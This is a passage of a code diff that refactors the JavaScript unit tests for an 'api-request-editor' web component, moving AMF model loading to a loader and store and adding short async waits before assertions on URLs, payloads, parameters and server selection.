-  async function urlLabelFixture(model, selected) {
-    return (fixture(html`<api-request-editor
-      .amf="${model}"
+  async function urlLabelFixture(selected) {
+    const element = /** @type ApiRequestEditorElement */ (await fixture(html`<api-request-editor
       .domainId="${selected}"
       urlLabel></api-request-editor>`));
+    await aTimeout(2);
+    return element
   }
 
   /**
-   * @param {AmfDocument=} model
    * @returns {Promise<ApiRequestEditorElement>}
    */
-  async function customBaseUriSlotFixture(model) {
-    return (fixture(html`
-      <api-request-editor .amf="${model}">
-        <anypoint-item slot="custom-base-uri" data-value="http://customServer.com">Custom</anypoint-item>
-      </api-request-editor>`));
+  async function customBaseUriSlotFixture() {
+    const element = /** @type ApiRequestEditorElement */ (await fixture(html`
+    <api-request-editor>
+      <anypoint-item slot="custom-base-uri" data-value="http://customServer.com">Custom</anypoint-item>
+    </api-request-editor>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} model
    * @returns {Promise<ApiRequestEditorElement>}
    */
-  async function noSelectorFixture(model) {
-    return (fixture(html`
-      <api-request-editor noServerSelector .amf="${model}">
-        <anypoint-item slot="custom-base-uri" data-value="http://customServer.com">http://customServer.com</anypoint-item>
-      </api-request-editor>`));
+  async function noSelectorFixture() {
+    const element = /** @type ApiRequestEditorElement */ (await fixture(html`
+    <api-request-editor noServerSelector>
+      <anypoint-item slot="custom-base-uri" data-value="http://customServer.com">http://customServer.com</anypoint-item>
+    </api-request-editor>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} model
    * @param {string=} selected
    * @returns {Promise<ApiRequestEditorElement>}
    */
-  async function hideOptionalFixture(model, selected) {
-    return (fixture(html`<api-request-editor
-      .amf="${model}"
-      .domainId="${selected}"
-      allowHideOptional></api-request-editor>`));
+  async function hideOptionalFixture(selected) {
+    const element = /** @type ApiRequestEditorElement */ (await fixture(html`<api-request-editor
+    .domainId="${selected}"
+    allowHideOptional></api-request-editor>`));
+    await aTimeout(2);
+    return element;
   }
 
   describe('initialization', () => {
@@ -299,30 +307,31 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(compact, httpbinApi);
+          model = await loader.getGraph(compact, httpbinApi);
+          store.amf = model;
         });
 
         it('sets httpMethod property (get)', async () => {
-          const method = store.lookupOperation(model, '/anything', 'get');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/anything', 'get');
+          const element = await modelFixture(method['@id']);
           assert.equal(element.httpMethod, 'get');
         });
 
         it('sets httpMethod property (post)', async () => {
-          const method = store.lookupOperation(model, '/anything', 'post');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/anything', 'post');
+          const element = await modelFixture(method['@id']);
           assert.equal(element.httpMethod, 'post');
         });
 
         it('sets httpMethod property (put)', async () => {
-          const method = store.lookupOperation(model, '/anything', 'put');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/anything', 'put');
+          const element = await modelFixture(method['@id']);
           assert.equal(element.httpMethod, 'put');
         });
 
         it('sets httpMethod property (delete)', async () => {
-          const method = store.lookupOperation(model, '/anything', 'delete');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/anything', 'delete');
+          const element = await modelFixture(method['@id']);
           assert.equal(element.httpMethod, 'delete');
         });
       });
@@ -331,19 +340,20 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(compact, driveApi);
+          model = await loader.getGraph(compact, driveApi);
+          store.amf = model;
         });
 
         it('sets the #payloads for the endpoint', async () => {
-          const method = store.lookupOperation(model, '/files/{fileId}', 'patch');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/files/{fileId}', 'patch');
+          const element = await modelFixture(method['@id']);
           assert.typeOf(element.payloads, 'array');
           assert.lengthOf(element.payloads, 1);
         });
 
         it('sets the #payload property', async () => {
-          const method = store.lookupOperation(model, '/files/{fileId}', 'patch');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/files/{fileId}', 'patch');
+          const element = await modelFixture(method['@id']);
           assert.typeOf(element.payload, 'object');
         });
       });
@@ -352,17 +362,18 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(Boolean(compact), driveApi);
+          model = await loader.getGraph(Boolean(compact), driveApi);
+          store.amf = model;
         });
 
         it('does not set variables when no security', async () => {
-          const element = await basicFixture(model);
+          const element = await basicFixture();
           assert.isUndefined(element.security);
         });
 
         it('sets the security value', async () => {
-          const method = store.lookupOperation(model, '/files', 'get');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/files', 'get');
+          const element = await modelFixture(method['@id']);
           assert.typeOf(element.security, 'array', 'has the security');
           assert.lengthOf(element.security, 1, 'has the single scheme');
           const [scheme] = element.security;
@@ -372,8 +383,8 @@ describe('ApiRequestEditorElement', () => {
         });
 
         it('sets the selectedSecurity', async () => {
-          const method = store.lookupOperation(model, '/files', 'get');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/files', 'get');
+          const element = await modelFixture(method['@id']);
           assert.equal(element.selectedSecurity, 0);
         });
       });
@@ -382,11 +393,12 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(compact, demoApi);
+          model = await loader.getGraph(compact, demoApi);
+          store.amf = model;
         });
 
         it('sets server parameters when no operation', async () => {
-          const element = await basicFixture(model);
+          const element = await basicFixture();
           assert.lengthOf(element.parametersValue, 1, 'has a single parameter');
           const [param] = element.parametersValue;
           assert.equal(param.binding, 'path', 'has a path parameter');
@@ -394,8 +406,8 @@ describe('ApiRequestEditorElement', () => {
         });
 
         it('sets path parameters from the server and the endpoint', async () => {
-          const method = store.lookupOperation(model, '/test-parameters/{feature}', 'get');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/test-parameters/{feature}', 'get');
+          const element = await modelFixture(method['@id']);
           const path = element.parametersValue.filter(p => p.binding === 'path')
           assert.lengthOf(path, 2, 'has all parameters');
           assert.typeOf(
@@ -411,8 +423,8 @@ describe('ApiRequestEditorElement', () => {
         });
 
         it('sets query parameters', async () => {
-          const method = store.lookupOperation(model, '/test-parameters/{feature}', 'get');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/test-parameters/{feature}', 'get');
+          const element = await modelFixture(method['@id']);
           const path = element.parametersValue.filter(p => p.binding === 'query')
           assert.lengthOf(path, 3, 'has all parameters');
           assert.typeOf(
@@ -433,8 +445,8 @@ describe('ApiRequestEditorElement', () => {
         });
 
         it('sets header parameters', async () => {
-          const method = store.lookupOperation(model, '/people', 'get');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people', 'get');
+          const element = await modelFixture(method['@id']);
           const params = element.parametersValue.filter(p => p.binding === 'header');
           assert.lengthOf(params, 2, 'has all parameters');
           assert.typeOf(
@@ -449,12 +461,13 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(Boolean(compact), demoApi);
+          model = await loader.getGraph(Boolean(compact), demoApi);
+          store.amf = model;
         });
 
         it('sets content type from the body', async () => {
-          const method = store.lookupOperation(model, '/content-type', 'post');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/content-type', 'post');
+          const element = await modelFixture(method['@id']);
           assert.equal(element.mimeType, 'application/json');
         });
       });
@@ -463,33 +476,34 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(Boolean(compact), demoApi);
+          model = await loader.getGraph(Boolean(compact), demoApi);
+          store.amf = model;
         });
 
         it('renders the authorization editor when authorization is required', async () => {
-          const method = store.lookupOperation(model, '/messages', 'get');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/messages', 'get');
+          const element = await modelFixture(method['@id']);
           const node = element.shadowRoot.querySelector('api-authorization-editor');
           assert.ok(node);
         });
 
         it('renders query/uri forms when model is set', async () => {
-          const method = store.lookupOperation(model, '/people', 'get');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people', 'get');
+          const element = await modelFixture(method['@id']);
           const node = element.shadowRoot.querySelector('.params-section.parameter');
           assert.ok(node);
         });
 
         it('renders headers editor when model is set', async () => {
-          const method = store.lookupOperation(model, '/people', 'get');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people', 'get');
+          const element = await modelFixture(method['@id']);
           const node = element.shadowRoot.querySelector('.params-section.header');
           assert.ok(node);
         });
 
         it('renders the URL editor when urlEditor', async () => {
-          const method = store.lookupOperation(model, '/people', 'get');
-          const element = await urlEditorFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people', 'get');
+          const element = await urlEditorFixture(method['@id']);
           const node = element.shadowRoot.querySelector('.url-input');
           assert.ok(node);
         });
@@ -499,15 +513,16 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(Boolean(compact), demoApi);
+          model = await loader.getGraph(Boolean(compact), demoApi);
+          store.amf = model;
         });
 
         /** @type ApiRequestEditorElement */
         let element;
         beforeEach(async () => {
           InputCache.globalValues.clear();
-          const method = store.lookupOperation(model, '/people', 'get');
-          element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people', 'get');
+          element = await modelFixture(method['@id']);
         });
 
         it('dispatches the legacy request event', () => {
@@ -558,14 +573,15 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(Boolean(compact), demoApi);
+          model = await loader.getGraph(Boolean(compact), demoApi);
+          store.amf = model;
         });
         
         let element = /** @type ApiRequestEditorElement */ (null);
         beforeEach(async () => {
           InputCache.globalValues.clear();
-          const method = store.lookupOperation(model, '/people', 'get');
-          element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people', 'get');
+          element = await modelFixture(method['@id']);
           element[loadingRequestValue] = true;
           element[requestIdValue] = 'test-request';
           await element.requestUpdate();
@@ -611,7 +627,8 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(Boolean(compact), demoApi);
+          model = await loader.getGraph(Boolean(compact), demoApi);
+          store.amf = model;
         });
 
         beforeEach(async () => {
@@ -619,38 +636,38 @@ describe('ApiRequestEditorElement', () => {
         });
 
         it('returns an object', async () => {
-          const method = store.lookupOperation(model, '/people', 'get');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people', 'get');
+          const element = await modelFixture(method['@id']);
           const result = element.serialize();
           assert.typeOf(result, 'object');
         });
 
         it('sets editor url', async () => {
-          const method = store.lookupOperation(model, '/people', 'get');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people', 'get');
+          const element = await modelFixture(method['@id']);
           await nextFrame();
           const result = element.serialize();
           assert.equal(result.url, 'http://production.domain.com/people');
         });
 
         it('sets editor method', async () => {
-          const method = store.lookupOperation(model, '/people', 'get');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people', 'get');
+          const element = await modelFixture(method['@id']);
           const result = element.serialize();
           assert.equal(result.method, 'GET');
         });
 
         it('sets headers from the editor', async () => {
-          const method = store.lookupOperation(model, '/post-headers', 'post');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/post-headers', 'post');
+          const element = await modelFixture(method['@id']);
           await aTimeout(10);
           const result = element.serialize();
           assert.equal(result.headers, 'x-string: my-value\ncontent-type: application/json');
         });
 
         it('sets editor payload', async () => {
-          const method = store.lookupOperation(model, '/people', 'post');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people', 'post');
+          const element = await modelFixture(method['@id']);
           await aTimeout(0);
           const result = element.serialize();
           assert.typeOf(result.payload, 'string', 'has the payload');
@@ -660,8 +677,8 @@ describe('ApiRequestEditorElement', () => {
         });
 
         it('sets authorization data', async () => {
-          const method = store.lookupOperation(model, '/people/{personId}', 'get');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people/{personId}', 'get');
+          const element = await modelFixture(method['@id']);
           await aTimeout(0);
           const result = element.serialize();
           assert.typeOf(result.authorization, 'array');
@@ -670,10 +687,10 @@ describe('ApiRequestEditorElement', () => {
         });
 
         it('does not set editor payload when GET request', async () => {
-          const postMethod = store.lookupOperation(model, '/people', 'post');
-          const element = await modelFixture(model, postMethod['@id']);
+          const postMethod = loader.lookupOperation(model, '/people', 'post');
+          const element = await modelFixture(postMethod['@id']);
           await aTimeout(0);
-          const getMethod = store.lookupOperation(model, '/people', 'get');
+          const getMethod = loader.lookupOperation(model, '/people', 'get');
           element.domainId = getMethod['@id'];
           await aTimeout(0);
           const result = element.serialize();
@@ -681,10 +698,10 @@ describe('ApiRequestEditorElement', () => {
         });
 
         it('does not set editor payload when HEAD request', async () => {
-          const postMethod = store.lookupOperation(model, '/people', 'post');
-          const element = await modelFixture(model, postMethod['@id']);
+          const postMethod = loader.lookupOperation(model, '/people', 'post');
+          const element = await modelFixture(postMethod['@id']);
           await aTimeout(0);
-          const getMethod = store.lookupOperation(model, '/people', 'head');
+          const getMethod = loader.lookupOperation(model, '/people', 'head');
           element.domainId = getMethod['@id'];
           await aTimeout(0);
           const result = element.serialize();
@@ -692,8 +709,8 @@ describe('ApiRequestEditorElement', () => {
         });
 
         it('sets the content-type header if not present but set in component', async () => {
-          const method = store.lookupOperation(model, '/people', 'post');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people', 'post');
+          const element = await modelFixture(method['@id']);
           element.parametersValue = element.parametersValue.filter(p => p.binding !== 'header');
           const result = element.serialize();
           assert.equal(result.headers, 'content-type: application/json');
@@ -704,12 +721,13 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(Boolean(compact), demoApi);
+          model = await loader.getGraph(Boolean(compact), demoApi);
+          store.amf = model;
         });
 
         // it('calls authAndExecute() when authorization is required', async () => {
         //   const method = store.lookupOperation(model, '/messages', 'get');
-        //   const element = await modelFixture(model, method['@id']);
+        //   const element = await modelFixture(method['@id']);
         //   await aTimeout(5);
         //   const spy = sinon.spy(element, 'authAndExecute');
         //   const button = element.shadowRoot.querySelector('.send-button');
@@ -719,8 +737,8 @@ describe('ApiRequestEditorElement', () => {
         // });
 
         it('calls execute() when authorization is not required', async () => {
-          const method = store.lookupOperation(model, '/people', 'get');
-          const element = await modelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people', 'get');
+          const element = await modelFixture(method['@id']);
           const spy = sinon.spy(element, 'execute');
           const button = element.shadowRoot.querySelector('.send-button');
           /** @type HTMLElement */ (button).click();
@@ -732,19 +750,20 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(Boolean(compact), demoApi);
+          model = await loader.getGraph(Boolean(compact), demoApi);
+          store.amf = model;
         });
 
         it('renders the url label', async () => {
-          const method = store.lookupOperation(model, '/people', 'get');
-          const element = await urlLabelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people', 'get');
+          const element = await urlLabelFixture(method['@id']);
           const node = element.shadowRoot.querySelector('.url-label');
           assert.ok(node);
         });
 
         it('renders the url value', async () => {
-          const method = store.lookupOperation(model, '/people', 'get');
-          const element = await urlLabelFixture(model, method['@id']);
+          const method = loader.lookupOperation(model, '/people', 'get');
+          const element = await urlLabelFixture(method['@id']);
           await nextFrame();
           const node = element.shadowRoot.querySelector('.url-label');
           const text = node.textContent.trim();
@@ -758,31 +777,34 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(Boolean(compact));
+          model = await loader.getGraph(Boolean(compact));
+          store.amf = model;
         });
 
         beforeEach(async () => {
-          element = await customBaseUriSlotFixture(model);
-          const op = store.lookupOperation(model, '/people/{personId}', 'get')
+          element = await customBaseUriSlotFixture();
+          const op = loader.lookupOperation(model, '/people/{personId}', 'get')
           element.domainId = op['@id'];
-          await aTimeout(0);
+          await aTimeout(2);
         });
 
         it('should update api-url-editor value after selecting slotted base uri', async () => {
-          element[serverHandler](new CustomEvent('apiserverchanged', { detail: { value: 'http://customServer.com', type: 'uri' } }));
-          await aTimeout(0);
+          element[serverHandler](new CustomEvent('apiserverchanged', { detail: { value: 'http://customServer.com', type: 'custom' } }));
+          await aTimeout(2);
           assert.equal(element.url, 'http://customServer.com/people/1234');
         });
 
         it('changing the URL in the url input changes the parameters', async () => {
+          console.clear();
           element.urlEditor = true;
-          element[serverHandler](new CustomEvent('apiserverchanged', { detail: { value: 'http://customServer.com', type: 'uri' } }));
           await nextFrame();
+          element[serverHandler](new CustomEvent('apiserverchanged', { detail: { value: 'http://customServer.com', type: 'custom' } }));
+          await aTimeout(2);
           const input = /** @type HTMLInputElement */ (element.shadowRoot.querySelector('.url-input'));
           input.value = 'http://customServer.com/people/5678';
           input.dispatchEvent(new Event('change'));
-          assert.equal(element.url, 'http://customServer.com/people/5678', 'url value is changed');
           await nextFrame();
+          assert.equal(element.url, 'http://customServer.com/people/5678', 'url value is changed');
           const paramInput = /** @type HTMLInputElement */ (element.shadowRoot.querySelector('[name="personId"]'));
           assert.equal(paramInput.value, '5678', 'the input is changed');
         });
@@ -792,20 +814,21 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(compact, demoApi);
+          model = await loader.getGraph(compact, demoApi);
+          store.amf = model;
         });
 
         describe('query parameters', () => {
           it('renders the optional toggle button', async () => {
-            const method = store.lookupOperation(model, '/people', 'get');
-            const element = await hideOptionalFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/people', 'get');
+            const element = await hideOptionalFixture(method['@id']);
             const toggle = element.shadowRoot.querySelector('.query-params .toggle-optional-switch');
             assert.ok(toggle);
           });
   
           it('optional parameters are hidden', async () => {
-            const method = store.lookupOperation(model, '/people', 'get');
-            const element = await hideOptionalFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/people', 'get');
+            const element = await hideOptionalFixture(method['@id']);
             const allItems = element.shadowRoot.querySelectorAll('.query-params .form-item.optional');
             Array.from(allItems).forEach((node) => {
               const { display } = getComputedStyle(node);
@@ -814,8 +837,8 @@ describe('ApiRequestEditorElement', () => {
           });
   
           it('toggles the visibility of the parameters', async () => {
-            const method = store.lookupOperation(model, '/people', 'get');
-            const element = await hideOptionalFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/people', 'get');
+            const element = await hideOptionalFixture(method['@id']);
             const toggle = /** @type HTMLElement */ (element.shadowRoot.querySelector('.query-params .toggle-optional-switch'));
             toggle.click();
             await nextFrame();
@@ -826,8 +849,8 @@ describe('ApiRequestEditorElement', () => {
           });
   
           it('does not render the toggle button for all required', async () => {
-            const method = store.lookupOperation(model, '/required-query-parameters', 'get');
-            const element = await hideOptionalFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/required-query-parameters', 'get');
+            const element = await hideOptionalFixture(method['@id']);
             const toggle = element.shadowRoot.querySelector('.query-params .toggle-optional-switch');
             assert.notOk(toggle, 'toggle is not rendered');
             const allItems = element.shadowRoot.querySelectorAll('.query-params .form-item');
@@ -840,15 +863,15 @@ describe('ApiRequestEditorElement', () => {
 
         describe('header parameters', () => {
           it('renders the optional toggle button', async () => {
-            const method = store.lookupOperation(model, '/optional-headers', 'get');
-            const element = await hideOptionalFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/optional-headers', 'get');
+            const element = await hideOptionalFixture(method['@id']);
             const toggle = element.shadowRoot.querySelector('.params-section.header .toggle-optional-switch');
             assert.ok(toggle);
           });
   
           it('optional parameters are hidden', async () => {
-            const method = store.lookupOperation(model, '/optional-headers', 'get');
-            const element = await hideOptionalFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/optional-headers', 'get');
+            const element = await hideOptionalFixture(method['@id']);
             const allItems = element.shadowRoot.querySelectorAll('.params-section.header .form-item.optional');
             Array.from(allItems).forEach((node) => {
               const { display } = getComputedStyle(node);
@@ -857,8 +880,8 @@ describe('ApiRequestEditorElement', () => {
           });
   
           it('toggles the visibility of the parameters', async () => {
-            const method = store.lookupOperation(model, '/optional-headers', 'get');
-            const element = await hideOptionalFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/optional-headers', 'get');
+            const element = await hideOptionalFixture(method['@id']);
             const toggle = /** @type HTMLElement */ (element.shadowRoot.querySelector('.params-section.header .toggle-optional-switch'));
             toggle.click();
             await nextFrame();
@@ -869,8 +892,8 @@ describe('ApiRequestEditorElement', () => {
           });
   
           it('does not render the toggle button for all required', async () => {
-            const method = store.lookupOperation(model, '/required-headers', 'get');
-            const element = await hideOptionalFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/required-headers', 'get');
+            const element = await hideOptionalFixture(method['@id']);
             const toggle = element.shadowRoot.querySelector('.params-section.header .toggle-optional-switch');
             assert.notOk(toggle, 'toggle is not rendered');
             const allItems = element.shadowRoot.querySelectorAll('.params-section.header .form-item');
@@ -887,12 +910,13 @@ describe('ApiRequestEditorElement', () => {
           /** @type AmfDocument */
           let model;
           before(async () => {
-            model = await store.getGraph(compact, demoApi);
+            model = await loader.getGraph(compact, demoApi);
+            store.amf = model;
           });
 
           it('sets value from a RAML example for a JSON body', async () => {
-            const method = store.lookupOperation(model, '/body-types/json', 'post');
-            const element = await modelFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/body-types/json', 'post');
+            const element = await modelFixture(method['@id']);
             const request = element.serialize();
             const data = JSON.parse(String(request.payload));
             assert.equal(data.name, 'Pawel Psztyc');
@@ -902,8 +926,8 @@ describe('ApiRequestEditorElement', () => {
           });
 
           it('sets value from a RAML example for an XML body', async () => {
-            const method = store.lookupOperation(model, '/body-types/xml', 'post');
-            const element = await modelFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/body-types/xml', 'post');
+            const element = await modelFixture(method['@id']);
             const request = element.serialize();
             const body = String(request.payload);
             assert.include(body, '<name>Pawel Psztyc</name>');
@@ -913,8 +937,8 @@ describe('ApiRequestEditorElement', () => {
           });
 
           it('sets value from a RAML example for an x-www-form-urlencoded body', async () => {
-            const method = store.lookupOperation(model, '/body-types/form', 'post');
-            const element = await modelFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/body-types/form', 'post');
+            const element = await modelFixture(method['@id']);
             const request = element.serialize();
             const body = String(request.payload);
             assert.include(body, 'name=Pawel+Psztyc');
@@ -926,8 +950,8 @@ describe('ApiRequestEditorElement', () => {
           // this can be done by adding support for a new media type in the `api-schema` module.
           // for now an empty FormData instance is created
           it('it has no example values for form data', async () => {
-            const method = store.lookupOperation(model, '/body-types/multi-parts', 'post');
-            const element = await modelFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/body-types/multi-parts', 'post');
+            const element = await modelFixture(method['@id']);
             const request = element.serialize();
             assert.typeOf(request.payload, 'FormData');
 
@@ -936,8 +960,8 @@ describe('ApiRequestEditorElement', () => {
           });
 
           it('sets a generated from schema example', async () => {
-            const method = store.lookupOperation(model, '/generated-example', 'post');
-            const element = await modelFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/generated-example', 'post');
+            const element = await modelFixture(method['@id']);
             const request = element.serialize();
             const data = JSON.parse(String(request.payload));
             assert.typeOf(data.birthday, 'string', 'a date property is set');
@@ -946,8 +970,8 @@ describe('ApiRequestEditorElement', () => {
           });
 
           it('renders media type selector', async () => {
-            const method = store.lookupOperation(model, '/generated-example', 'post');
-            const element = await modelFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/generated-example', 'post');
+            const element = await modelFixture(method['@id']);
             
             const container = element.shadowRoot.querySelector('.payload-mime-selector');
             assert.ok(container, 'has the media selector container');
@@ -961,8 +985,8 @@ describe('ApiRequestEditorElement', () => {
           });
 
           it('changes selected mime type', async () => {
-            const method = store.lookupOperation(model, '/generated-example', 'post');
-            const element = await modelFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/generated-example', 'post');
+            const element = await modelFixture(method['@id']);
             
             const options = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll('.payload-mime-selector anypoint-radio-button'));
             options[1].click();
@@ -982,12 +1006,13 @@ describe('ApiRequestEditorElement', () => {
           /** @type AmfDocument */
           let model;
           before(async () => {
-            model = await store.getGraph(compact, 'apic-169');
+            model = await loader.getGraph(compact, 'apic-169');
+            store.amf = model;
           });
 
           it('sets the value with optional and generated', async () => {
-            const method = store.lookupOperation(model, '/new', 'post');
-            const element = await modelFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/new', 'post');
+            const element = await modelFixture(method['@id']);
             const request = element.serialize();
             const data = JSON.parse(String(request.payload));
             assert.equal(data.name, 'MuleSoft');
@@ -998,12 +1023,13 @@ describe('ApiRequestEditorElement', () => {
           /** @type AmfDocument */
           let model;
           before(async () => {
-            model = await store.getGraph(compact, 'APIC-480');
+            model = await loader.getGraph(compact, 'APIC-480');
+            store.amf = model;
           });
 
           it('sets the content type of the operation', async () => {
-            const method = store.lookupOperation(model, '/accounts/{accountNumber}', 'patch');
-            const element = await modelFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/accounts/{accountNumber}', 'patch');
+            const element = await modelFixture(method['@id']);
             const request = element.serialize();
             assert.equal(request.headers, 'content-type: application/json');
           });
@@ -1013,12 +1039,13 @@ describe('ApiRequestEditorElement', () => {
           /** @type AmfDocument */
           let model;
           before(async () => {
-            model = await store.getGraph(compact, 'APIC-613');
+            model = await loader.getGraph(compact, 'APIC-613');
+            store.amf = model;
           });
 
           it('should not reset input fields when manipulating them', async () => {
-            const method = store.lookupOperation(model, '/files', 'post');
-            const element = await modelFixture(model, method['@id']);
+            const method = loader.lookupOperation(model, '/files', 'post');
+            const element = await modelFixture(method['@id']);
             
             const editor = element.shadowRoot.querySelector('body-multipart-editor');
             /** @type HTMLElement */ (editor.shadowRoot.querySelector('.add-param.text-part')).click();
@@ -1135,8 +1162,10 @@ describe('ApiRequestEditorElement', () => {
      * @param {ApiRequestEditorElement} element
      * @param {string} domainId
      */
-    function changeSelection(element, domainId) {
+    async function changeSelection(element, domainId) {
       element.domainId = domainId;
+      await aTimeout(2);
+      await nextFrame();
     }
 
     describe(compact ? 'Compact model' : 'Full model', () => {
@@ -1145,12 +1174,13 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(Boolean(compact), multiServerApi);
+          model = await loader.getGraph(Boolean(compact), multiServerApi);
+          store.amf = model;
         });
 
         let element = /** @type ApiRequestEditorElement */ (null);
         beforeEach(async () => {
-          element = await modelFixture(model);
+          element = await modelFixture();
           // This is equivalent to Custom URI being selected, and 'https://www.google.com' being input
           dispatchSelectionEvent(element, 'https://www.google.com', 'custom');
         });
@@ -1189,12 +1219,13 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(Boolean(compact), multiServerApi);
+          model = await loader.getGraph(Boolean(compact), multiServerApi);
+          store.amf = model;
         });
         
         let element = /** @type ApiRequestEditorElement */ (null);
         beforeEach(async () => {
-          element = await modelFixture(model);
+          element = await modelFixture();
         });
 
         it('has default number of servers', async () => {
@@ -1202,50 +1233,42 @@ describe('ApiRequestEditorElement', () => {
         });
 
         it('computes servers when first navigation', async () => {
-          const method = store.lookupOperation(model, '/default', 'get');
-          changeSelection(element, method['@id']);
-          await nextFrame();
+          const method = loader.lookupOperation(model, '/default', 'get');
+          await changeSelection(element, method['@id']);
           assert.lengthOf(element.servers, 4);
         });
 
         it('computes servers after subsequent navigation', async () => {
           // default navigation
-          changeSelection(element, store.lookupOperation(model, '/default', 'get')['@id']);
-          await nextFrame();
+          await changeSelection(element, loader.lookupOperation(model, '/default', 'get')['@id']);
           // other endpoint
-          changeSelection(element, store.lookupOperation(model, '/files', 'get')['@id']);
-          await nextFrame();
+          await changeSelection(element, loader.lookupOperation(model, '/files', 'get')['@id']);
           assert.lengthOf(element.servers, 1);
         });
 
         it('automatically selects first available server', async () => {
-          changeSelection(element, store.lookupOperation(model, '/default', 'get')['@id']);
-          await nextFrame();
+          await changeSelection(element, loader.lookupOperation(model, '/default', 'get')['@id']);
           assert.equal(element.serverValue, 'https://{customerId}.saas-app.com:{port}/v2');
         });
 
         it('auto change selected server', async () => {
-          changeSelection(element, store.lookupOperation(model, '/default', 'get')['@id']);
-          await nextFrame();
-          changeSelection(element, store.lookupOperation(model, '/files', 'get')['@id']);
-          await nextFrame();
+          await changeSelection(element, loader.lookupOperation(model, '/default', 'get')['@id']);
+          await changeSelection(element, loader.lookupOperation(model, '/files', 'get')['@id']);
           assert.equal(element.serverValue, 'https://files.example.com');
         });
 
         it('keeps server selection when possible', async () => {
-          changeSelection(element, store.lookupOperation(model, '/default', 'get')['@id']);
-          await nextFrame();
+          await changeSelection(element, loader.lookupOperation(model, '/default', 'get')['@id']);
 
           dispatchSelectionEvent(element, 'https://{region}.api.cognitive.microsoft.com', 'server');
 
-          changeSelection(element, store.lookupOperation(model, '/copy', 'get')['@id']);
-          await nextFrame();
+          await changeSelection(element, loader.lookupOperation(model, '/copy', 'get')['@id']);
